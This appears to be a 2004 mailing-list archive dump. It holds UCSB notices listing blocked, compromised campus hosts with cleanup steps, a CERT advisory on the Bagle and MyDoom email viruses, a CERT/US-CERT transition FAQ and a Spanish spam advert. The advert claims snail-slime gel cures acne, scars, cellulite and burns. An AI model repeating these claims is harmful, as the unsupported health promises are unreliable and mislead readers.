mask is not lengthened. It still means there's a couple of ticks where a > response could be made that DMDX won't see, or at least that it will > probably not see till the beginning of th If things work I will have play and try and work out what proportion responses this problem typically affects, cos I would like to use PDM at some point. I'll post results when/if I get them. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 335 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB2 2EF, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA07373 for ; Tue, 27 Jan 2004 09:54:21 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA03445 for ; Tue, 27 Jan 2004 09:54:21 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AlXPn-0008IY-H7; Tue, 27 Jan 2004 09:54:19 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AlXPk-0008IQ-S3 for csf@ucsb.edu; Tue, 27 Jan 2004 09:54:16 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AlXPj-0008II-Tp for csf@ucsb.edu; Tue, 27 Jan 2004 09:54:15 -0800 Message-ID: <4016A5C7.1080108@UCSB.edu> Date: Tue, 27 Jan 2004 09:54:15 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list further down in this message. I see that you all have been working hard because there are just 46 of them. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. 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If you find any rogue services running, please include the type of service and the port that it was using. *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/filtered/filtered.html) *** 128.111.20.52 dhcp20-52.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.56.235 zuki.ece.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.179 128.111.68.248 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.159.150 128.111.161.6 128.111.164.202 snake.mee.ucsb.edu 128.111.164.209 turtle.mee.ucsb.edu 128.111.219.200 host219-200.lsdepts.ucsb.edu 128.111.229.220 128.111.229.229 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 128.111.247.62 128.111.247.63 128.111.247.250 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id KAA07228 for ; Tue, 27 Jan 2004 10:30:47 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id KAA04017 for ; Tue, 27 Jan 2004 10:30:47 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AlXz3-00095V-3O; Tue, 27 Jan 2004 10:30:45 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AlXz0-00095K-1h for csf@ucsb.edu; Tue, 27 Jan 2004 10:30:42 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AlXyz-00095D-3Z for csf@ucsb.edu; Tue, 27 Jan 2004 10:30:41 -0800 Message-ID: <4016AE50.7060104@UCSB.edu> Date: Tue, 27 Jan 2004 10:30:40 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts (correction) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, I just found out that I sent out an old list because I accidentally used Igor's old URL. Sorry, but there are really 61 hosts being filtered. You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com or Vision from www.foundstone.com (under the Resources section) should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/filtered/filtered.html) *** 128.111.8.96 mojo.physics.ucsb.edu 128.111.8.111 prasant.physics.ucsb.edu 128.111.20.90 dhcp20-90.wirelesstest.ucsb.edu 128.111.58.219 quantum.ece.ucsb.edu 128.111.60.12 meanone.ece.ucsb.edu 128.111.62.72 host62-72.lsdepts.ucsb.edu 128.111.62.153 host62-153.lsdepts.ucsb.edu 128.111.83.245 gira.chemengr.ucsb.edu 128.111.93.30 chair.music.ucsb.edu 128.111.94.17 host94-17.lsdepts.ucsb.edu 128.111.94.35 host94-35.lsdepts.ucsb.edu 128.111.100.18 -- 128.111.106.22 gamma.geog.ucsb.edu 128.111.106.146 lilith.geog.ucsb.edu 128.111.114.164 c114d164.chem.ucsb.edu 128.111.115.106 -- 128.111.115.143 c115d143.chem.ucsb.edu 128.111.115.176 c115d176.chem.ucsb.edu 128.111.116.53 -- 128.111.116.76 -- 128.111.116.86 -- 128.111.116.164 -- 128.111.122.116 hr116.ucsb.edu 128.111.130.61 host130-61.lsdepts.ucsb.edu 128.111.131.13 host131-13.lsdepts.ucsb.edu 128.111.131.64 host131-64.lsdepts.ucsb.edu 128.111.131.90 host131-90.lsdepts.ucsb.edu 128.111.133.22 host133-22.lsdepts.ucsb.edu 128.111.133.61 host133-61.lsdepts.ucsb.edu 128.111.133.90 host133-90.lsdepts.ucsb.edu 128.111.133.143 host133-143.lsdepts.ucsb.edu 128.111.138.53 schedule.me.id.ucsb.edu 128.111.142.39 -- 128.111.142.69 -- 128.111.142.81 -- 128.111.142.124 -- 128.111.142.221 -- 128.111.145.18 -- 128.111.159.71 -- 128.111.159.74 -- 128.111.161.232 -- 128.111.165.182 host165-182.lsdepts.ucsb.edu 128.111.192.67 otcmanager.ece.ucsb.edu 128.111.192.130 ning.ece.ucsb.edu 128.111.201.236 FSH201236.resnet.ucsb.edu 128.111.201.240 FSH201240.resnet.ucsb.edu 128.111.206.128 -- 128.111.217.25 host217-25.lsdepts.ucsb.edu 128.111.219.88 host219-88.lsdepts.ucsb.edu 128.111.219.158 host219-158.lsdepts.ucsb.edu 128.111.221.44 matty.mat.ucsb.edu 128.111.223.58 host223-58.lsdepts.ucsb.edu 128.111.223.77 host223-77.lsdepts.ucsb.edu 128.111.224.65 host224-65.lsdepts.ucsb.edu 128.111.224.123 host224-123.lsdepts.ucsb.edu 128.111.229.201 cutlass.ccs.ucsb.edu 128.111.234.33 don.ncgia.ucsb.edu 128.111.246.148 -- 128.111.246.152 -- 128.111.246.157 -- 128.111.246.250 schretien.metiu.ucsb.edu -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 CERT Advisory ,cert-advisory@cert.org,"Tue, 27 Jan 2004 12:29:10 -0500",CERT Advisory CA-2004-02 Email-borne Viruses ," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2004-02 Email-borne Viruses Original release date: January 27, 2004 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Any system running Microsoft Windows (all versions from Windows 95 and up) and used for reading email or accessing peer-to-peer file sharing services. Overview In recent weeks there have been several mass-mailing viruses released on the Internet. It is important for users to understand the risks posed by these pieces of malicious code and the steps necessary to protect their systems from virus infection. I. Description Over the past week, we have seen two more mass-mailing viruses, W32/Bagle and W32/Novarg, impact a significant number of home users and sites. The technology used in these viruses is not significantly different from prior mass-mailing viruses such as W32/Sobig and W32/Mimail. Unsolicited email messages containing attachments are sent to unsuspecting recipients. They may contain a return address, a provocative envelope, or something else that encourages its receiver to open it. This technique is called social engineering. Because we are trusting and curious, social engineering is often effective. The widespread impact of these latest viruses, which rely on human intervention to spread, demonstrates the effectiveness of social engineering. It continues to be important to ensure that anti-virus software is used and updated regularly, that attachments are examined on mail servers, and that firewalls filter unneeded ports and protocols. It also remains necessary that users be educated about the dangers of opening attachments, especially executable attachments. CERT Incident Note IN-2004-01 - W32/Novarg http://www.cert.org/incident_notes/IN-2004-01.html CERT Incident Note IN-2003-03 - W32/Sobig.F http://www.cert.org/incident_notes/IN-2003-03.html CERT Incident Note IN-2003-02 - W32/Mimail http://www.cert.org/incident_notes/IN-2003-02.html II. Impact A virus infection can have significant consquences on your computer system. These consequences include, but are not limited to: * Information disclosure - Mass-mailing viruses typically harvest email addresses from the addressbooks or files found on an infected system. Some viruses will also attempt to send files from an infected host to other potential victims or even back to the virus author. These files may contain sensitive information. * Add/Modify/Delete files - Once a system is compromised, a virus could potentially add, modify or delete arbitrary files on the system. These files may contain personal information or be required for the proper operation of the computer system. * Affect system stability - Viruses can consume significant amounts of computer resources causing a system to run slowly or be rendered unusable. * Install a backdoor - Many viruses will install a backdoor on an infected system. This backdoor may be used by a remote attacker to gain access to the system, or view/add/modify/delete files on the system. These backdoors may also be leveraged to download and control additional tools for use in distributed denial-of-service (DDoS) attacks against other sites. * Attack other systems - Systems infected by viruses are frequently used to attack other systems. These attacks frequently involve attempts to exploit vulnerabilities on the remote systems or denial-of-service attacks that utilize a high volume of network traffic. * Send unsolicited bulk email (spam) to other users - There have been numerous reports of spammers leveraging compromised systems to send unsolicited bulk email. Frequently these compromised systems are poorly protected end user computers (e.g., home and small business systems). III. Solution In addition to following the steps outlined in this section, the CERT/CC encourages home users to review the ""Home Network Security"" and ""Home Computer Security"" documents. Home Network Security http://www.cert.org/tech_tips/home_networks.html Home Computer Security http://www.cert.org/homeusers/HomeComputerSecurity/ Run and maintain an anti-virus product While an up-to-date antivirus software package cannot protect against all malicious code, for most users it remains the best first line of defense against malicious code attacks. Users may wish to read IN-2003-01 for more information on anti-virus software and security issues. CERT Incident Note IN-2003-01 http://www.cert.org/incident_notes/IN-2003-01.html Most antivirus software vendors release frequently updated information, tools, or virus databases to help detect and recover from malicious code. Therefore, it is important that users keep their antivirus software up to date. The CERT/CC maintains a partial list of antivirus vendors. Computer Virus Resources http://www.cert.org/other_sources/viruses.html Many antivirus packages support automatic updates of virus definitions. The CERT/CC recommends using these automatic updates when available. Do not run programs of unknown origin Do not download, install, or run a program unless you know it to be authored by a person or company that you trust. Email users should be wary of unexpected attachments. Be sure you know the source of an attachment before opening it. Also remember that it is not enough that the mail originated from an email address you recognize. The Melissa virus spread precisely because it originated from a familiar email address. Users should also be wary of URLs in email messages. URLs can link to malicious content that in some cases may be executed without user intervention. A common social engineering technique known as ""phishing"" uses misleading URLs to entice users to visit malicious web sites. These sites spoof legitimate web sites to solicit sensitive information such as passwords or account numbers. In addition, users of Internet Relay Chat (IRC), Instant Messaging (IM), and file-sharing services should be particularly careful of following links or running software sent to them by other users. These are commonly used methods among intruders attempting to build networks of distributed denial-of-service (DDoS) agents. Use a personal firewall A personal firewall will not necessarily protect your system from an email-borne virus, but a properly configured personal firewall may prevent the virus from downloading additional components or launching attacks against other systems. Unfortunately, once on a system, a virus may be able to disable a software firewall, thus eliminating its protection. Email gateway filtering Depending on your business requirements, it is advisable to configure filtering of specific file extensions of email attachments at the email gateway. This filtering should be configured carefully, as this may affect legitimate attachments as well. It is recommended that attachments are quarantined for later examination and/or possible retrieval. Recovering from a system compromise If you believe a system under your administrative control has been compromised, please follow the steps outlined in Steps for Recovering from a UNIX or NT System Compromise http://www.cert.org/tech_tips/win-UNIX-system_compromise.html _________________________________________________________________ Authors: Jeff Carpenter, Chad Dougherty, Jeff Havrilla, Allen Householder, Brian King, Marty Lindner, Art Manion, Damon Morda, Rob Murawski ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2004-02.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. ______________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2004 Carnegie Mellon University. Revision History January 27, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBQBabI5Z2NNT/dVAVAQEarAQAnpwtajJK0Rv9UkZvfRYjeQHrfZCwkGfg CFt8o8PO+5QS2U5JbfQRMm+Qjpm+c1x4BERtH5V0HwVhr85G8jBNGjYrfXrm4Ybw vwNIfdsaRgpoiHekseNel2k38vs7urgnrMXL6nK2Y/WcjLMPpT8cXu04jq8nVI05 /3+ek6Y/4LE= =Ftap -----END PGP SIGNATURE----- ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id OAA08515 for ; Tue, 27 Jan 2004 14:51:10 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id OAA06805 for ; Tue, 27 Jan 2004 14:51:10 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1Alc32-000F9e-V2; Tue, 27 Jan 2004 14:51:08 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1Alc2x-000F9J-N2; Tue, 27 Jan 2004 14:51:03 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1Alc2s-000F8z-8a; Tue, 27 Jan 2004 14:50:58 -0800 Message-ID: <4016EB4D.8050607@UCSB.edu> Date: Tue, 27 Jan 2004 14:50:53 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com or Vision from www.foundstone.com (under the Resources section) should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. FYI, The MyDoom worm opens a socks4 proxy on port 3127/tcp (or the next available port above that one), so infected hosts should now be receiving notification that is auto-generated by our open proxy detection and blocking programs. Here is the list of filtered hosts: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/net/ngb/filtered.html) *** 128.111.8.96 mojo.physics.ucsb.edu 128.111.8.111 prasant.physics.ucsb.edu 128.111.20.39 agate.wirelesstest.ucsb.edu 128.111.20.40 dhcp20-40.wirelesstest.ucsb.edu 128.111.29.26 -- 128.111.29.39 -- 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.60.12 meanone.ece.ucsb.edu 128.111.62.72 host62-72.lsdepts.ucsb.edu 128.111.62.153 host62-153.lsdepts.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.83.85 kolmogrov.chemengr.ucsb.edu 128.111.92.216 -- 128.111.93.30 chair.music.ucsb.edu 128.111.94.35 host94-35.lsdepts.ucsb.edu 128.111.96.3 edr-fiery.sdc.ucsb.edu 128.111.101.90 modis.icess.ucsb.edu 128.111.101.194 lasolas.icess.ucsb.edu 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.103.49 -- 128.111.104.131 gdhcp131.geog.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.22 gamma.geog.ucsb.edu 128.111.106.146 lilith.geog.ucsb.edu 128.111.107.111 lab11.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.111.64 -- 128.111.114.164 c114d164.chem.ucsb.edu 128.111.115.106 -- 128.111.115.143 c115d143.chem.ucsb.edu 128.111.115.176 c115d176.chem.ucsb.edu 128.111.116.53 -- 128.111.116.76 -- 128.111.116.78 -- 128.111.116.86 -- 128.111.116.164 -- 128.111.120.25 ip25.lmri.ucsb.edu 128.111.120.28 lj5.lmri.ucsb.edu 128.111.122.116 hr116.ucsb.edu 128.111.124.43 dehan2.isc.ucsb.edu 128.111.133.22 host133-22.lsdepts.ucsb.edu 128.111.133.61 host133-61.lsdepts.ucsb.edu 128.111.133.90 host133-90.lsdepts.ucsb.edu 128.111.138.53 schedule.me.id.ucsb.edu 128.111.138.160 -- 128.111.142.69 -- 128.111.142.81 -- 128.111.142.104 energy.ucsb.edu 128.111.142.221 -- 128.111.145.18 -- 128.111.159.71 -- 128.111.159.74 -- 128.111.162.145 -- 128.111.174.130 -- 128.111.175.31 -- 128.111.180.181 SM180181.resnet.ucsb.edu 128.111.184.107 FT184107.resnet.ucsb.edu 128.111.185.230 ra.ece.ucsb.edu 128.111.192.130 ning.ece.ucsb.edu 128.111.206.128 -- 128.111.217.25 host217-25.lsdepts.ucsb.edu 128.111.219.89 host219-89.lsdepts.ucsb.edu 128.111.219.158 host219-158.lsdepts.ucsb.edu 128.111.223.58 host223-58.lsdepts.ucsb.edu 128.111.224.123 host224-123.lsdepts.ucsb.edu 128.111.225.113 -- 128.111.229.201 cutlass.ccs.ucsb.edu 128.111.234.239 sylvey.geog.ucsb.edu 128.111.246.148 -- 128.111.246.152 -- 128.111.246.157 -- 128.111.246.250 schretien.metiu.ucsb.edu 128.111.247.7 -- 128.111.247.62 -- 128.111.247.63 -- 128.111.247.250 -- -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Gel de Baba de Caracol 3 ,'Donna' ,"Wed, 28 Jan 2004 00:24:58 +0600",La Revolucion Natural que Regenera su Piel 3,"Gel de Baba de Caracol Soluciona eficazmente problemas de: Acne Cicatrices Celulitis Arrugas Lineas de Expresion Quemaduras Imperfecciones Y otros trastornos de la piel. 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We are pleased to announce significant changes to CERT Advisories that will not only maintain the accuracy and fairness that are the hallmarks of CERT Advisories, but will also provide more information about more topics than before. Beginning January 28, 2004, CERT Advisories will become a core component of US-CERT's Technical Cyber Security Alerts. Significant changes behind the scenes will allow us to provide additional content, in a more timely fashion, to a larger audience. US-CERT alerts will include not only the content historically produced by CERT/CC staff, but will also integrate additional content contributed by other organizations from both the public and private sectors. We will maintain the same high quality control standards, edit content for security and privacy, and work to ensure technical accuracy as well as timeliness. In addition, US-CERT is pleased to announce the availability of three new products: 1. For non-technical professionals, small office and home office users, individuals, and others who prefer less technical descriptions of problems, we will be producing a non-technical version of Technical Cyber Security Alerts when appropriate. This version, known as a Cyber Security Alert, will allow us to provide more appropriate advice to both technical and non-technical readers. 2. Also for non-technical professionals, small office and home office users, individuals and others, US-CERT is pleased to announce Cyber Security Tips. Tips will be produced every other week and will be short documents that provide background and education, for home users and others, that can help prevent problems from occurring in the first place. 3. Finally, for technical professionals, we are pleased to announce Cyber Security Bulletins. Bulletins will be produced every other week and will summarize notable information from the past two weeks, including topics covered in Cyber Security Alerts and other sources. If you are a subscriber to this list, you will automatically receive the technical version of US-CERT alerts (the Technical Cyber Security Alert) through this list. No action is necessary on your part. If you are not a subscriber to the CERT Advisory mailing list and wish to receive these alerts, you must subscribe to the new US-CERT mailing list. If you are interested in receiving any of the other three document types, you must subscribe to those mailing lists separately. Please visit http://www.us-cert.gov/cas/index.html for further information. We appreciate your continued support in securing the Internet and the worldwide information infrastructure. We have included a set of anticipated questions and their answers below. - ---------------------------- Frequently Asked Questions about the convergence of CERT Advisories and US-CERT alerts Q: You mentioned ""significant changes behind the scenes."" What are you referring to? A: Some of these changes include new laboratory and testing facilities, enhanced communications networks, and access to additional technical expertise. Most importantly, the new changes include the formation of strong partnerships with US-CERT across industry and government to take advantage of the tremendous wealth of information and expertise that exist. The original descriptions of CERT/CC, laid out more than 15 years ago, our operating history, and the National Strategy to Secure Cyberspace envisioned just such partnerships. Q: Why are you making these changes to CERT Advisories? A: We have taken great care to be accurate, fair, and honest about the security risks you face, and we feel a tremendous professional obligation to bring you the best, most trustworthy advice we can to help you protect your systems. We believe that these changes are necessary to ensure that we can provide you with the best information possible to protect your systems against the evolving threats we face. Q: Does this mean government is taking over the CERT/CC? A: No. The CERT/CC has always received the vast majority of its funding from the US Government, and US-CERT alerts will continue to be produced using the same philosophies as we have in the past, but with more timely content from more sources and for more topics. Q: Who will have access to the mailing lists? A: The CERT Advisory mailing list will remain in the exclusive possession of Carnegie Mellon University, where the CERT/CC is located, and will not be disclosed to others. The new US-CERT mailing list will be similarly managed with strict security controls in place and will not be used for any purpose other than sending alerts and other messages, and list maintenance. Q: Why are you continuing to operate both lists? A: We are operating both lists for a period of time to preserve the privacy expectations of the subscribers to the CERT Advisory mailing list and to allow network administrators sufficient time to make appropriate adjustments to filters and redistribution engines. Q: What content will be sent to the lists? A: Each list will receive identical content through March 2004. During this time, subscribers to the CERT Advisory mailing list will receive US-CERT Technical Cyber Security Alerts from cert-advisory@cert.org. After that, these mailings will be received from us-cert.gov. Q: What will happen to the CERT Advisory mailing list? A: No new subscriptions will be accepted after January 28, 2004, and the list will eventually be discontinued. We will run both lists for a period of time, but operating both lists over the long term creates confusion and management complexity. Subscribers to the CERT Advisory mailing list will be advised well in advance of the termination date for that list. Q: How will US-CERT alerts be signed? A: They will be signed with the US-CERT key, available online at http://www.us-cert.gov/pgp/encryptmail.html. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQCVAwUBQBexv5Z2NNT/dVAVAQHPXwP+JevZyKrvbMaTR1NeJU275cpFe/00UI/i IYiaZn+E89TfjvRh3wD3UADtFJp5ecZshASQKjmKkKkl6RO3BEoUDUukgCsf1MnJ Et4Xch6uU2Jv6GIMefI5rcJq3MQBe1A1GUBS2WkiWE3q5X64nVgbFyqklIe0EjJ7 oEEXhQBSBMQ= =bdgP -----END PGP SIGNATURE----- ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA23494 for ; Wed, 28 Jan 2004 09:38:23 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA18629 for ; Wed, 28 Jan 2004 09:38:23 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1Altds-0004pE-6R; Wed, 28 Jan 2004 09:38:20 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1Altdh-0004ot-Cz; Wed, 28 Jan 2004 09:38:09 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1Altdb-0004oc-A8; Wed, 28 Jan 2004 09:38:03 -0800 Message-ID: <4017F379.4050009@UCSB.edu> Date: Wed, 28 Jan 2004 09:38:01 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6b) Gecko/20040105 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu X-Enigmail-Version: 0.82.6.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""Filtered Hosts"" list further down in this message. If your host is in this list, then .. 1. Make sure 